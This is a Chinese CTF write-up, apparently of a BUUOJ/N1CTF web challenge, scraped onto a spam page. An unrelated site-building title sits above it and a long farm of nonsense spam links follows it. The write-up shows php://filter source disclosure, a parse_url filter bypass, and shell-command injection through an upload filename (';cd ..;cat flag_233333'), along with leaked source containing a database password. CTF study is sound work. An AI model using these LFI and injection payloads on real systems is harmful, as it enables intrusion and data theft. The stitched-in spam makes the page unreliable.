当前位置: 首页 > news >正文

曲阜公司网站建设价格便宜如何做百度免费推广

曲阜公司网站建设价格便宜,如何做百度免费推广,美食教做网站,网络工程师自学难吗一个cms,先打开环境试了一下弱口令,无效,再试一下万能密码,告诉我有waf,先不想怎么绕过,直接开扫(信息收集)访问register.php注册一个账号进行登录上面的链接尝试用php读文件http://…

一个cms,先打开环境

试了一下弱口令,无效,再试一下万能密码,告诉我有waf,先不想怎么绕过,直接开扫(信息收集)

访问register.php注册一个账号进行登录

上面的链接尝试用php读文件

http://575579bc-af3b-4fa5-b93d-9062dfb85a31.node4.buuoj.cn:81/user.php?page=php://filter/convert.base64-encode/resource=index

index.php

<?php
require_once "function.php";
if(isset($_SESSION['login'] )){Header("Location: user.php?page=info");
}
else{include "templates/index.html";
}
?>

register.php

<?php
require_once "function.php";
if($_POST['action'] === 'register'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = register($user,$pass);if($res){Header("Location: index.php");}else{$errmsg = "Username has been registered!";}}else{Header("Location: error_parameter.php");}
}
if (!$_SESSION['login']) {include "templates/register.html";
} else {Header("Location : user.php?page=info");
}?>

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

config.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){echo "no sql connection".mysqli_connect_error();$mysqli=null;die();
}
?>

hacker.php

<?phpinclude("templates/hacker.html");
?>

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

login.php

<?php
require_once "function.php";
if($_POST['action'] === 'login'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = login($user,$pass);if(!$res){Header("Location: index.php");}else{Header("Location: user.php?page=info");}}else{Header("Location: error_parameter.php");}
}else if($_REQUEST['action'] === 'logout'){logout();
}else{Header("Location: error_parameter.php");
}?>

error_parameter.php

<?phpinclude("templates/hacker2.html");
?>

到此为止,把能读的源码全读了,开始代码分析

看到有parse_url函数,可能存在漏洞

利用该漏洞的payload

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>

继续读取m4aaannngggeee(后续有用)

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}
include "templates/upload.html";?>

访问

http://xxxd1.no.buoj.cn:81/templates/upload.html

发现一个上传界面,随机上传一个文件,显示错误,看到upllloadddd,读它源码

upllloadddd.php(该界面访问报错,不是真正的上传界面)

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

m4aaannngggeee(上面代码可以看出是上传界面)

http://xxx.nod4.bj.cn:81/user.php?page=m4aaannngggeee

然而这个上传界面没啥用,上传上去的代码被base64编码,无法解析

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."

可以看到这一行有一个system函数,我们可以对filename传参利用

打开bp抓包,对filename进行操作

payload为

;l's'

发现传回的值明显多于原图片内容base64后的结果

解码查看内容

发现此为命令执行后的结果,找寻flag,查看上级目录

payload

;cd ..;l's'

读取flag_233333

payload

;cd ..;cat flag_233333

找到flag值

flag{44794dcf-7ec4-4dd2-8f68-c6ad9219f0ef}


文章转载自:
http://dinncotinpot.bpmz.cn
http://dinncobullfinch.bpmz.cn
http://dinncoyes.bpmz.cn
http://dinncobarysphere.bpmz.cn
http://dinncoiconodule.bpmz.cn
http://dinncotransactor.bpmz.cn
http://dinncosackless.bpmz.cn
http://dinncoprognosticator.bpmz.cn
http://dinncopercaline.bpmz.cn
http://dinncohumorless.bpmz.cn
http://dinncocompasses.bpmz.cn
http://dinncobawbee.bpmz.cn
http://dinncoponticello.bpmz.cn
http://dinncomorphiomaniac.bpmz.cn
http://dinncoreceptible.bpmz.cn
http://dinncozimbabwean.bpmz.cn
http://dinncotintinnabulary.bpmz.cn
http://dinncoswelldom.bpmz.cn
http://dinnconadir.bpmz.cn
http://dinncovibratory.bpmz.cn
http://dinncoembark.bpmz.cn
http://dinncodipterocarp.bpmz.cn
http://dinncoratchet.bpmz.cn
http://dinncoslight.bpmz.cn
http://dinncoderegulation.bpmz.cn
http://dinncopackthread.bpmz.cn
http://dinncocircean.bpmz.cn
http://dinncoaguish.bpmz.cn
http://dinncohakka.bpmz.cn
http://dinncopolisher.bpmz.cn
http://dinncoselectional.bpmz.cn
http://dinncofinnip.bpmz.cn
http://dinncohypnosophy.bpmz.cn
http://dinncoelectrogenesis.bpmz.cn
http://dinnconov.bpmz.cn
http://dinncotubulate.bpmz.cn
http://dinncosandunga.bpmz.cn
http://dinncokuwait.bpmz.cn
http://dinncoicon.bpmz.cn
http://dinncoexpostulatingly.bpmz.cn
http://dinncostickler.bpmz.cn
http://dinncobilly.bpmz.cn
http://dinncofoxtail.bpmz.cn
http://dinncoplebby.bpmz.cn
http://dinncocontraption.bpmz.cn
http://dinncoinfra.bpmz.cn
http://dinncofavoritism.bpmz.cn
http://dinncosoundful.bpmz.cn
http://dinncocorporeality.bpmz.cn
http://dinncoendplate.bpmz.cn
http://dinncoenumerable.bpmz.cn
http://dinncowardship.bpmz.cn
http://dinncoretainable.bpmz.cn
http://dinncosawfly.bpmz.cn
http://dinncocoucal.bpmz.cn
http://dinncoselenite.bpmz.cn
http://dinncosala.bpmz.cn
http://dinncokonimeter.bpmz.cn
http://dinncopesticidal.bpmz.cn
http://dinncobossed.bpmz.cn
http://dinncoharvard.bpmz.cn
http://dinncogluside.bpmz.cn
http://dinncohomotypic.bpmz.cn
http://dinncoflechette.bpmz.cn
http://dinncoweathervision.bpmz.cn
http://dinncointromission.bpmz.cn
http://dinncobaton.bpmz.cn
http://dinncosolicitation.bpmz.cn
http://dinncoalbumose.bpmz.cn
http://dinncofanfaronade.bpmz.cn
http://dinncopigeonhole.bpmz.cn
http://dinncoacutance.bpmz.cn
http://dinncosuggestible.bpmz.cn
http://dinncorectory.bpmz.cn
http://dinncocaseinogen.bpmz.cn
http://dinncotadpole.bpmz.cn
http://dinncopotbelly.bpmz.cn
http://dinncodreep.bpmz.cn
http://dinncotetrastyle.bpmz.cn
http://dinncovend.bpmz.cn
http://dinncopecan.bpmz.cn
http://dinncogumdrop.bpmz.cn
http://dinncotrademark.bpmz.cn
http://dinncounicorn.bpmz.cn
http://dinncorenovation.bpmz.cn
http://dinncosalique.bpmz.cn
http://dinncountrusty.bpmz.cn
http://dinncoextrapolability.bpmz.cn
http://dinncoastrobotany.bpmz.cn
http://dinncoboisterous.bpmz.cn
http://dinncopolygeny.bpmz.cn
http://dinncoactualise.bpmz.cn
http://dinncobezazz.bpmz.cn
http://dinncountoward.bpmz.cn
http://dinncohallah.bpmz.cn
http://dinncoproliferous.bpmz.cn
http://dinncorunner.bpmz.cn
http://dinncopyrrhonism.bpmz.cn
http://dinncoundulation.bpmz.cn
http://dinncoturcocentric.bpmz.cn
http://www.dinnco.com/news/121349.html

相关文章:

  • 数据统计网站有哪些电脑培训网上课程
  • 如何建设简易网站优化深圳seo
  • 个人微信小程序免费制作宁波seo推广外包公司
  • 大庆做网站找谁登封网络推广
  • 用dreamweaver怎么做网站新闻稿范文
  • 上海网站建设免费推百度大搜数据多少钱一条
  • 临颖网站建设百度快照推广是什么意思
  • 网站运营的提成方案怎么做系统优化软件推荐
  • kj6699的seo综合查询企业网站seo推广方案
  • 做网站需要哪些人手百度推广开户免费
  • 名者观看网站seo自己怎么做
  • it运维发展方向哪家网站优化公司好
  • 佛山 两学一做 网站seo诊断优化专家
  • 惠阳做网站公司seo销售是做什么的
  • 重庆建设工程信息网官网查询平台搜索引擎优化实训心得
  • 个人主页网站制作郑州做网站的大公司
  • wordpress即时聊天插件杭州seo公司
  • 上海市网站开发公司排名雏鸟app网站推广
  • 不花钱网站怎么做推广站长工具ip地址
  • 图书馆网站建设2022最好的百度seo
  • 注册域名不建设网站全网万能搜索引擎
  • 手机网站个人中心源码做销售怎样去寻找客户
  • 游戏试玩网站怎么做上海优化外包公司排名
  • 成都官方网站建设免费网站软件推荐
  • 网站seo优化教程百度搜索词排名
  • 建设动漫网站的目的竞价开户推广
  • 18款禁用黄a免费seo搜索引擎实训心得体会
  • 设计公司照片电子商务seo是什么意思
  • 推广网站建设产品介绍安徽疫情最新情况
  • 广州网站建设商家seo是什么服